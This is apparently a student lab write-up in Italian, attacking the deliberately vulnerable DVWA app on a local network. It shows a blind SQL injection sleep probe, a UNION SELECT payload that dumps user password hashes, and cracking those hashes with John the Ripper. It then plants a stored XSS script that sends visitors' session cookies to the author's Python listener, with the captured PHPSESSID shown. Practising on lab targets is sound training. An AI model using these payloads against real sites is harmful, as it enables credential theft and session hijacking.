

# BLIND SQL INJECTION

## STORED CROSS-SITE-SCRIPTING ATTACK

Oggi andremo a fare blind SQLI per trovare delle password in una database, e andremo anche a lanciare un attacco XSS persistente per rubare i cookie di sessione.



La differenza tra fare **SQLI In-Band** (non blind) e fare **SQLI Blind** è che SQLI In-Band ci ritorna un messaggio di errore di sintassi, confermando che c'è una vulnerabilità da sfruttare, invece, SQLI blind semplicemente ricarica la pagina senza confermare nulla. Una delle 2 maniere di confermare se possiamo realizzare SQL su una pagina è provando a dire di fare il **time sleep**. Il time sleep è comando SQL che fermerà il traffico client-server per una quantità di tempo specifica.

Qui possiamo provare a dire di fare il **time sleep** per 5 secondi. Infatti, la pagina si ha messo 5 secondi per continuare la comunicazione.

Damn Vulnerable Web App

192.168.32.101/dvwa/vulnerabilities/sql\_i\_blind/?id=1'+sleep(5)%23&Submit=Submit#

## DVWA

### Vulnerability: SQL Injection (Blind)

User ID:

#### More info

<http://www.securiteam.com/securityreviews/SDP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection
- SQL Injection (Blind)**
- Upload
- XSS reflected
- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

Username: admin  
Security Level: low  
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Con il comando:

```
1' UNION SELECT  
user, password FROM  
users#
```

Diciamo in sintesi:

“Entra con l’ID 1,  
poi mostrami gli  
user e i password  
delle tavole users”

Infatti, ci fa  
vedere i passwords  
hashate, proviamo  
a decifrarle.

Damn Vulnerable Web Application (DVWA) v1.0.7

## Vulnerability: SQL Injection (Blind)

User ID:

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: admin

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user, password FROM users#  
First name: nordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 8d353d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user, password FROM users#  
First name: nable  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user, password FROM users#  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

### More info

<http://www.securiteam.com/securityreviews/SDP0N1P76E.html>  
[http://en.wikipedia.org/wiki/SQL\\_injection](http://en.wikipedia.org/wiki/SQL_injection)  
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin  
Security Level: low  
PHPIDS: disabled

Utilizzando John  
the Ripper ho  
decriptato tutte le  
password comparando  
i hash ottenute a  
le password-hash  
dentro il file  
rockyou.txt

```
kali@kali: ~/Desktop
File Actions Edit View Help

(kali@kali)-[~]
$ ping 192.168.32.101
PING 192.168.32.101 (192.168.32.101) 56(84) bytes of data.
64 bytes from 192.168.32.101: icmp_seq=1 ttl=64 time=0.863 ms
64 bytes from 192.168.32.101: icmp_seq=2 ttl=64 time=0.233 ms
^C
— 192.168.32.101 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1018ms
rtt min/avg/max/mdev = 0.233/0.548/0.863/0.315 ms

(kali@kali)-[~]
$ john --format=raw-md5 --show=/home/kali/Desktop/rockyou.txt DVWAshadow.txt
Invalid option in --show switch. Valid options:
--show, --show=left, --show=formats, --show=types, --show=invalid

(kali@kali)-[~]
$ john --format=raw-md5 --show=/home/kali/Desktop/rockyou.txt DVWAshadow.txt
Unknown option: "--show=/home/kali/Desktop/rockyou.txt"

(kali@kali)-[~]
$ john --format=raw-md5 --show /home/kali/Desktop/rockyou.txt DVWAshadow.txt
Warning: invalid UTF-8 seen reading /home/kali/Desktop/rockyou.txt
stat: DVWAshadow.txt: No such file or directory

(kali@kali)-[~]
$ cd Desktop

(kali@kali)-[~/Desktop]
$ john --format=raw-md5 --show /home/kali/Desktop/rockyou.txt DVWAshadow.txt
Warning: invalid UTF-8 seen reading /home/kali/Desktop/rockyou.txt
admin:password
gordondb:abc123
1337:charley
smithy:password

4 password hashes cracked, 52 left

(kali@kali)-[~/Desktop]
$
```

Ora per l'attacco XSS. Andremo ad inserire codice dentro il web server di DVWA, che ruberà i cookie di sessione di ogni utente che arriverà al link specificato, e poi invierà detti cookie al nostro server in ascolto.

Iniziamo un server **http in ascolto** porta **9000** con **python3**

```
kali@kali: ~  
File Actions Edit View Help  
kali@kali: ~ x kali@kali: ~ x  
-  
(kali@kali)-[~]  
$ python3 -m 9000  
/usr/bin/python3: No module named 9000  
  
(kali@kali)-[~]  
$ python  
Python 3.11.6 (main, Oct 8 2023, 05:06:43) [GCC 13.2.0] on linux  
Type "help", "copyright", "credits" or "license" for more information.  
>>>  
KeyboardInterrupt  
>>>  
zsh: suspended python  
  
(kali@kali)-[~]  
$ python3 -m http.server 9000  
Serving HTTP on 0.0.0.0 port 9000 (http://0.0.0.0:9000/) ...
```

Siamo andati sulla sezio XSS stored, dove possiamo caricare il nostro script alla database di DVWA. Con lo script nello schermo possiamo prendere i cookie di ogni utente che visite questo directory, e poi quelli cookie verranno inviati al nostro server.

Purtroppo per default possiamo inserire un messaggio di massimo 50 caratteri, ma ispezionando la pagina, possiamo andare a modificare questo limite e mettere che si possano inserire 5000 caratteri come massimo, che sarà sufficiente per nostro script.

The screenshot shows a web browser window displaying the DVWA (Damn Vulnerable Web Application) interface. The page title is "Vulnerability: Stored Cross Site Scripting (XSS)". The "Name" field contains "evil". The "Message" field contains a JavaScript payload: `<script>>window.location='http://0.0.0.0:9000/?cookie=' + document.cookie</script>`. The "Sign Guestbook" button is visible.

The browser's developer console is open, showing the HTML structure of the message field. The `rows="3" maxLength="5000"` attribute is highlighted in the `<textarea>` tag. The console also shows the CSS styles for the message field, including `height: 114px;` and `width: 486px;`.

The browser's address bar shows the URL `192.168.32.101/dvwa/vulnerabilities/xss_s/`. The browser's tabs show "Damn Vulnerable Web Ap...", "Problem loading page", and "New Tab".

Quello che si vede nel browser è il risultato di aver cliccato nel hyperlink per andare sul directory dove si trova nostro codice dentro il database.

Nel terminale si può vedere come una volta la vittima ha fatto click, sua session ID è stata rubata e inviata al nostro server.

The screenshot displays a web browser window and a terminal window. The browser window shows a directory listing for the path `/?cookie=security=low; PHPSESSID=aced62f62b2c262e317ba6e8febbf874`. The directory listing includes files such as `.bash_logout`, `.bashrc`, `.bashrc.original`, `.cache/`, `.config/`, `.dmrc`, `.face`, `.face.dpkg-new`, `.face.icon@`, `.gnupg/`, `.ICEauthority`, `.java/`, `.lessshst`, `.local/`, `.maltego/`, `.mongorc.js`, `.mozilla/`, `.profile`, `.rediscli_history`, `.ssh/`, `.sudo_as_admin_successful`, `.vboxclient-clipboard-tty7-control.pid`, `.vboxclient-clipboard-tty7-service.pid`, `.vboxclient-display-svg-x11-tty7-control.pid`, `.vboxclient-display-svg-x11-tty7-service.pid`, `.vboxclient-draganddrop-tty7-control.pid`, `.vboxclient-draganddrop-tty7-service.pid`, `.vboxclient-hostversion-tty7-control.pid`, `.vboxclient-seamless-tty7-control.pid`, `.vboxclient-seamless-tty7-service.pid`, `.vboxclient-vmvga-session-tty7-control.pid`, `.Xauthority`, `.xsession-errors`, `.xsession-errors.old`, `.zsh_history`, and `.zshrc`.

The terminal window shows the command `python3 -m http.server 9000` being executed, which serves HTTP on port 9000. The output shows a successful GET request from `127.0.0.1` at `12/Jan/2024 13:01:04` with the header `*GET /?cookie=security=low; PHPSESSID=aced62f62b2c262e317ba6e8febbf874`. The response is `HTTP/1.1" 200 -`.